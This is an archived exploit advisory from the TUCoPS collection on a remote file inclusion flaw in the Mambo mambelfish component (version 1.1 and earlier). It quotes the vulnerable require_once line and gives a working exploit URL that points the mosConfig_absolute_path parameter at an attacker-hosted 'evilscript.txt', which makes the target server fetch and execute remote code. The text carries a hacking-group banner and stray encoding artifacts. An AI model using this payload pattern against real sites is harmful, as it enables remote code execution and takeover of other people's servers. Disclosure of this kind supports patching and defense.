TUCoPS :: Web :: CMS / Portals

TUCoPS :: Web :: CMS / Portals :: b06-4340.htm
Mambo mambelfish Component <= 1.1 Remote File Include Vulnerability

Mambo mambelfish Component <= 1.1 Remote File Include Vulnerability Mambo mambelfish Component <= 1.1 Remote File Include Vulnerability


=0D
####################################################=0D
#                                                  #=0D
#         C Y BE R - W A R R i O R   T I M         #=0D
#                                                  #=0D
####################################################=0D
=0D
mambo com_mambelfish Component (mosConfig_absolute_path) Remote File=0D
Inclusion Vulnerabilities=0D
=0D
####################################################=0D
=0D
Author: mdx=0D
=0D
####################################################=0D
=0D
Class : Remote=0D
=0D
####################################################=0D
=0D
cont@ct: bilkopat[at]hotmail[dot]com=0D
=0D
####################################################=0D
=0D
Code: mambelfish.class.php?, line 28=0D
***************************************************************************************************=0D
=0D
  require_once( "$mosConfig_absolute_path/administrator/classes/minixml/minixml.inc.php" );=0D
=0D
***************************************************************************************************=0D
=0D
=0D
Exploit:=0D
http://www.site.com/[path]/administrator/components/com_mambelfish/mambelfish.class.php?mosConfig_absolute_path=http://site.com/evilscript.txt?=0D 
=0D
####################################################=0D
Greetz: Cyber-warrior TIM USERS=0D
####################################################=0D
=0D
=0D